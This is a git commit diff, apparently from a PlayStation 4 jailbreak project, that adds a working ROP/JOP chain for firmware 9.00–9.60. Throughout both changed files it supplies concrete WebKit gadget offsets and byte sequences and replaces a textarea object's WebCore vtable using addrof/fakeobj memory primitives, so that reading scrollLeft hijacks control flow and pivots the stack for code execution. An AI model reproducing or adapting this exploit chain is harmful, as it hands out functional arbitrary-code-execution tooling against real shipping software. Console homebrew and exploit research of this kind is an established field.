Initial 9.00-9.60 ROP chain, by @janisslsm

- Will need to be tweaked slightly, but it's currently working
- Thanks to @DrYenyen for testing literally everything
This commit is contained in:
Al Azif
2025-06-05 16:12:57 -07:00
parent 3b37a02a1d
commit a7d1fb183c
4 changed files with 174 additions and 144 deletions

View File

@@ -16,10 +16,11 @@ You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00, 9.03, 9.04
// ROP Chain by @janisslsm
import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs";
import { ChainBase } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
@@ -37,34 +38,50 @@ export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// TODO: gadgets for the JOP chain
// gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
// When the scrollLeft getter native function is called on the console, rsi is
// the JS wrapper for the WebCore textarea class.
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rdi, qword ptr [rsi + 0x18]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
call qword ptr [rax + 0xb8]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// jop1 pushed another object (via the call instruction) but we want no
// extra objects between the return address and the rbp that will be pushed by
// jop2 later. So we pop the return address pushed by jop1.
//
// This will make pivoting back easy, just "leave; ret".
const jop2 = `
pop rsi
jmp qword ptr [rax + 0x1c]
`;
const jop3 = `
mov rdi, qword ptr [rax + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x30]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
const jop4 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
call qword ptr [rax + 0x58]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
const jop5 = `
mov rdx, qword ptr [rax + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x10]
`;
const jop4 = `
const jop6 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = "pop rsp; ret";
const jop7 = "pop rsp; ret";
// the ps4 firmware is compiled to use rbp as a frame pointer
//
@@ -109,11 +126,14 @@ const webkit_gadget_offsets = new Map(
"mov dword ptr [rdi], eax; ret": 0x000000000000613c, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x00000000005c3482, // `89 30 c3`
[jop1]: 0x0000000000000000, // ``
[jop2]: 0x0000000000000000, // ``
[jop3]: 0x0000000000000000, // ``
[jop4]: 0x0000000000000000, // ``
[jop5]: 0x0000000000000000, // ``
[jop1]: 0x00000000004e62a4, // `48 8b 7e 18 48 8b 07 ff 90 b8 00 00 00`
[jop2]: 0x00000000021fce7e, // `5e ff 60 1c`
[jop3]: 0x00000000019becb4, // `48 8b 78 08 48 8b 07 ff 60 30`
[jop4]: 0x0000000000683800, // `55 48 89 e5 48 8b 07 ff 50 58`
[jop5]: 0x0000000000303906, // `48 8b 50 18 48 8b 07 ff 50 10`
[jop6]: 0x00000000028bd332, // `52 ff 20`
[jop7]: 0x000000000004e293, // `5c c3`
}),
);
@@ -191,15 +211,54 @@ class Chain900Base extends ChainBase {
export class Chain900 extends Chain900Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
const textarea = document.createElement("textarea");
this._textarea = textarea;
const js_ta = mem.addrof(textarea);
const webcore_ta = js_ta.readp(0x18);
this._webcore_ta = webcore_ta;
// Only offset 0x1c8 will be used when calling the scrollLeft getter
// native function (our tests don't crash).
//
// This implies we don't need to know the exact size of the vtable and
// try to copy it as much as possible to avoid a crash due to missing
// vtable entries.
//
// So the rest of the vtable are free for our use.
const vtable = new BufferView(0x200);
const old_vtable_p = webcore_ta.readp(0);
this._vtable = vtable;
this._old_vtable_p = old_vtable_p;
// 0x1b8 is the offset of the scrollLeft getter native function
vtable.write64(0x1b8, this.get_gadget(jop1));
vtable.write64(0xb8, this.get_gadget(jop2));
vtable.write64(0x1c, this.get_gadget(jop3));
// for the JOP chain
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
rax_ptrs.write64(0x30, this.get_gadget(jop4));
rax_ptrs.write64(0x58, this.get_gadget(jop5));
rax_ptrs.write64(0x10, this.get_gadget(jop6));
rax_ptrs.write64(0, this.get_gadget(jop7));
// value to pivot rsp to
rax_ptrs.write64(0x18, this.stack_addr);
const jop_buffer = new BufferView(8);
const jop_buffer_p = get_view_vector(jop_buffer);
jop_buffer.write64(0, rax_ptrs_p);
vtable.write64(8, jop_buffer_p);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this._webcore_ta.write64(0, get_view_vector(this._vtable));
this._textarea.scrollLeft;
this._webcore_ta.write64(0, this._old_vtable_p);
this.dirty();
}
}
@@ -215,50 +274,5 @@ export function init(Chain) {
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}

View File

@@ -16,10 +16,11 @@ You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60
// ROP Chain by @janisslsm
import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs";
import { ChainBase } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";
import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";
@@ -37,34 +38,51 @@ export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// TODO: gadgets for the JOP chain
// gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
// When the scrollLeft getter native function is called on the console, rsi is
// the JS wrapper for the WebCore textarea class.
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rdi, qword ptr [rsi + 0x18]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
call qword ptr [rax + 0xb8]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// jop1 pushed another object (via the call instruction) but we want no
// extra objects between the return address and the rbp that will be pushed by
// jop2 later. So we pop the return address pushed by jop1.
//
// This will make pivoting back easy, just "leave; ret".
const jop2 = `
pop rsi
cmc
jmp qword ptr [rax + 0x7c]
`;
const jop3 = `
mov rdi, qword ptr [rax + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x30]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
const jop4 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
call qword ptr [rax + 0x58]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
const jop5 = `
mov rdx, qword ptr [rax + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x10]
`;
const jop4 = `
const jop6 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = "pop rsp; ret";
const jop7 = "pop rsp; ret";
// the ps4 firmware is compiled to use rbp as a frame pointer
//
@@ -110,11 +128,14 @@ const webkit_gadget_offsets = new Map(
"mov dword ptr [rdi], eax; ret": 0x00000000000071d0, // `89 07 c3`
"mov dword ptr [rax], esi; ret": 0x000000000007ebd8, // `89 30 c3`
[jop1]: 0x0000000000000000, // ``
[jop2]: 0x0000000000000000, // ``
[jop3]: 0x0000000000000000, // ``
[jop4]: 0x0000000000000000, // ``
[jop5]: 0x0000000000000000, // ``
[jop1]: 0x000000000060fd94, // `48 8b 7e 18 48 8b 07 ff 90 b8 00 00 00`
[jop2]: 0x0000000002bf3741, // `5e f5 ff 60 7c`
[jop3]: 0x000000000181e974, // `48 8b 78 08 48 8b 07 ff 60 30`
[jop4]: 0x00000000001a75a0, // `55 48 89 e5 48 8b 07 ff 50 58`
[jop5]: 0x000000000035fc94, // `48 8b 50 18 48 8b 07 ff 50 10`
[jop6]: 0x00000000002b7a9c, // `52 ff 20`
[jop7]: 0x00000000000253e0, // `5c c3`
}),
);
@@ -192,15 +213,54 @@ class Chain950Base extends ChainBase {
export class Chain950 extends Chain950Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
const textarea = document.createElement("textarea");
this._textarea = textarea;
const js_ta = mem.addrof(textarea);
const webcore_ta = js_ta.readp(0x18);
this._webcore_ta = webcore_ta;
// Only offset 0x1c8 will be used when calling the scrollLeft getter
// native function (our tests don't crash).
//
// This implies we don't need to know the exact size of the vtable and
// try to copy it as much as possible to avoid a crash due to missing
// vtable entries.
//
// So the rest of the vtable are free for our use.
const vtable = new BufferView(0x200);
const old_vtable_p = webcore_ta.readp(0);
this._vtable = vtable;
this._old_vtable_p = old_vtable_p;
// 0x1b8 is the offset of the scrollLeft getter native function
vtable.write64(0x1b8, this.get_gadget(jop1));
vtable.write64(0xb8, this.get_gadget(jop2));
vtable.write64(0x7c, this.get_gadget(jop3));
// for the JOP chain
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
rax_ptrs.write64(0x30, this.get_gadget(jop4));
rax_ptrs.write64(0x58, this.get_gadget(jop5));
rax_ptrs.write64(0x10, this.get_gadget(jop6));
rax_ptrs.write64(0, this.get_gadget(jop7));
// value to pivot rsp to
rax_ptrs.write64(0x18, this.stack_addr);
const jop_buffer = new BufferView(8);
const jop_buffer_p = get_view_vector(jop_buffer);
jop_buffer.write64(0, rax_ptrs_p);
vtable.write64(8, jop_buffer_p);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this._webcore_ta.write64(0, get_view_vector(this._vtable));
this._textarea.scrollLeft;
this._webcore_ta.write64(0, this._old_vtable_p);
this.dirty();
}
}
@@ -216,50 +276,5 @@ export function init(Chain) {
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, "location").set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {
get launch() {
throw Error("never call");
},
0: 1.1,
};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}